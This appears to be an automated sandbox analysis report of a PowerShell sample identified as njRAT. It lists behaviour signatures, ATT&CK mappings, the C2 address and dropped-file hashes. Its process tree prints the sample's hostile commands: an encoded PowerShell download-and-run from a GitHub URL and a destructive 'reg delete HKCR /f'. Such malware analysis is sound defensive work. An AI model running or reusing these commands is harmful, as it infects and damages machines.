Overview

overview

10

Static

static

1

file01.ps1

windows10-2004-x64

10

file01.ps1

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    900s
  • max time network
    417s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/10/2026, 18:45

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    file01.ps1
  • Size 551B
  • Sample261020-xd4pmadv7w
  • SHA256 9ce1862cd1e0f03c78e29d6da26fc8b66490f69a6decaf1c40832d60c45fead8
  • MD5 SHA1 SHA512 TLSH
Score
10/10
dlgededdefense_evasiondiscoveryexecutionnjratpersistenceprivilege_escalationransomwaretrojan

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://github.com/Shay7lebb-cloud/6767/raw/refs/heads/main/mshalb67.exe

Extracted

Family

  • njrat

Version

  • <- NjRAT 0.7d Horror Edition ->

Botnet

  • dlgeded

C2

  • 23.95.31.196:13623

Mutex

  • 4dae6979cd8f84331147677e76fd3205

Attributes
  • reg_key

    4dae6979cd8f84331147677e76fd3205

  • splitter

    Y262SUCZ4UJJ

Signatures

  • Family: njRAT/Bladabindi

    Widely used RAT written in .NET.

    trojannjrat
  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Downloads MZ/PE file 1 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 3 IoCs
  • Modifies system executable filetype association 2 TTPs 47 IoCs
    persistence
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates video capture drivers 2 TTPs 1 IoCs

    Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

    discoverydefense_evasion
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\file01.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3556
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -EncodedCommand JAB1AHIAbAAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AUwBoAGEAeQA3AGwAZQBiAGIALQBjAGwAbwB1AGQALwA2ADcANgA3AC8AcgBhAHcALwByAGUAZgBzAC8AaABlAGEAZABzAC8AbQBhAGkAbgAvAG0AcwBoAGEAbABiADYANwAuAGUAeABlACIAOwAgACQAbwB1AHQAcAB1AHQAIAA9ACAAIgAkAGUAbgB2ADoAUwB0AGEAcgB0AHUAcABcAG0AcwBoAGEAbABiADYANwAuAGUAeABlACIAOwAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBsACAALQBPAHUAdABGAGkAbABlACAAJABvAHUAdABwAHUAdAA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAbwB1AHQAcAB1AHQA
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Downloads MZ/PE file
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1340
      • C:\mshalb67.exe
        "C:\mshalb67.exe"
        3⤵
        • Executes dropped EXE
        • Enumerates video capture drivers
        • Reads the TCP/IP host and domain name from the registry
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2728
        • C:\Users\Admin\AppData\Local\Temp\8efba74800ed4e5d82d42ed092615926.exe
          "C:\Users\Admin\AppData\Local\Temp\8efba74800ed4e5d82d42ed092615926.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:4356
          • C:\Windows\System32\mshta.exe
            "C:\Windows\System32\mshta.exe" vbscript:Execute("msgbox ""You Hacked By Shay7lebb"", 48, ""Warning"":close")
            5⤵
              PID:948
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /k reg delete HKCR /f
              5⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:3668
              • C:\Windows\system32\reg.exe
                reg delete HKCR /f
                6⤵
                • Modifies system executable filetype association
                • Modifies registry class
                PID:2824
          • C:\Users\Admin\AppData\Local\Temp\f5ff9dc701c2409d945b76fd7bd61dcd.exe
            "C:\Users\Admin\AppData\Local\Temp\f5ff9dc701c2409d945b76fd7bd61dcd.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:5928
    • C:\Windows\system32\AUDIODG.EXE
      C:\Windows\system32\AUDIODG.EXE 0x00000000000004EC 0x00000000000004F8
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4756
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k GPSvcGroup
      1⤵
        PID:2112
      • C:\Windows\System32\SecurityHealthHost.exe
        \\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
        1⤵
          PID:5896

        Network

              MITRE ATT&CK Enterprise v16

              Reconnaissance

              Resource Development

              Initial Access

              Execution

              Command and Scripting Interpreter

              2
              T1059

              PowerShell

              1
              T1059.001

              Windows Command Shell

              1
              T1059.003

              Persistence

              Event Triggered Execution

              2
              T1546

              Change Default File Association

              1
              T1546.001

              Component Object Model Hijacking

              1
              T1546.015

              Privilege Escalation

              Event Triggered Execution

              2
              T1546

              Change Default File Association

              1
              T1546.001

              Component Object Model Hijacking

              1
              T1546.015

              Defense Evasion

              Modify Registry

              1
              T1112

              Credential Access

              Discovery

              Peripheral Device Discovery

              1
              T1120

              Query Registry

              1
              T1012

              System Information Discovery

              1
              T1082

              System Location Discovery

              1
              T1614

              System Language Discovery

              1
              T1614.001

              System Network Configuration Discovery

              1
              T1016

              Lateral Movement

              Collection

              Video Capture

              1
              T1125

              Command and Control

              Web Service

              1
              T1102

              Exfiltration

              Impact

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 64B
              • SHA256 4f17593d9aa7fb7f382ab82bf771c95f8717d52d3e91ba3a6dc26952a776b64d
              • MD5 SHA1 SHA512
              Submit Download

              8efba74800ed4e5d82d42ed092615926.exe
              • Path C:\Users\Admin\AppData\Local\Temp\8efba74800ed4e5d82d42ed092615926.exe
              • Size 12KB
              • SHA256 121dbce9a60d8f122d22cde73678b511c31e3168dea67a5b01944c0dd7160792
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              __PSScriptPolicyTest_wabvljdx.1dv.psm1
              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wabvljdx.1dv.psm1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              f5ff9dc701c2409d945b76fd7bd61dcd.exe
              • Path C:\Users\Admin\AppData\Local\Temp\f5ff9dc701c2409d945b76fd7bd61dcd.exe
              • Size 11KB
              • SHA256 19e7858f735b00f010959ddceb45465e30ef84f9d975d266ffbf63e6a73abdb5
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              mshalb67.exe
              • Path C:\mshalb67.exe
              • Size 55KB
              • SHA256 10899fbf7ad1a6debd6fcd0f00de18478f9a773f88f417839badbd70e4cf6815
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              memory/1340-13-0x00007FFA1C550000-0x00007FFA1CEF4000-memory.dmp
              Download

              memory/1340-23-0x00007FFA1C550000-0x00007FFA1CEF4000-memory.dmp
              Download

              memory/1340-29-0x00007FFA1C550000-0x00007FFA1CEF4000-memory.dmp
              Download

              memory/1340-12-0x00007FFA1C550000-0x00007FFA1CEF4000-memory.dmp
              Download

              memory/1340-24-0x00007FFA1C550000-0x00007FFA1CEF4000-memory.dmp
              Download

              memory/2728-30-0x0000000000E70000-0x0000000000E80000-memory.dmp
              Download

              memory/2728-28-0x0000000000E70000-0x0000000000E80000-memory.dmp
              Download

              memory/3556-0-0x00007FFA1C6DF000-0x00007FFA1C6E0000-memory.dmp
              Download

              memory/3556-6-0x00007FFA1C550000-0x00007FFA1CEF4000-memory.dmp
              Download

              memory/3556-5-0x00007FFA1C550000-0x00007FFA1CEF4000-memory.dmp
              Download

              memory/3556-27-0x00007FFA1C550000-0x00007FFA1CEF4000-memory.dmp
              Download

              memory/3556-9-0x00007FFA1C550000-0x00007FFA1CEF4000-memory.dmp
              Download

              memory/3556-11-0x00007FFA1C550000-0x00007FFA1CEF4000-memory.dmp
              Download

              memory/3556-10-0x00007FFA1C550000-0x00007FFA1CEF4000-memory.dmp
              Download

              memory/3556-4-0x00007FFA1C550000-0x00007FFA1CEF4000-memory.dmp
              Download

              memory/3556-3-0x000002372A660000-0x000002372A682000-memory.dmp
              Download

              memory/4356-41-0x0000000000290000-0x000000000029A000-memory.dmp
              Download

              memory/5928-53-0x0000000000A60000-0x0000000000A6A000-memory.dmp
              Download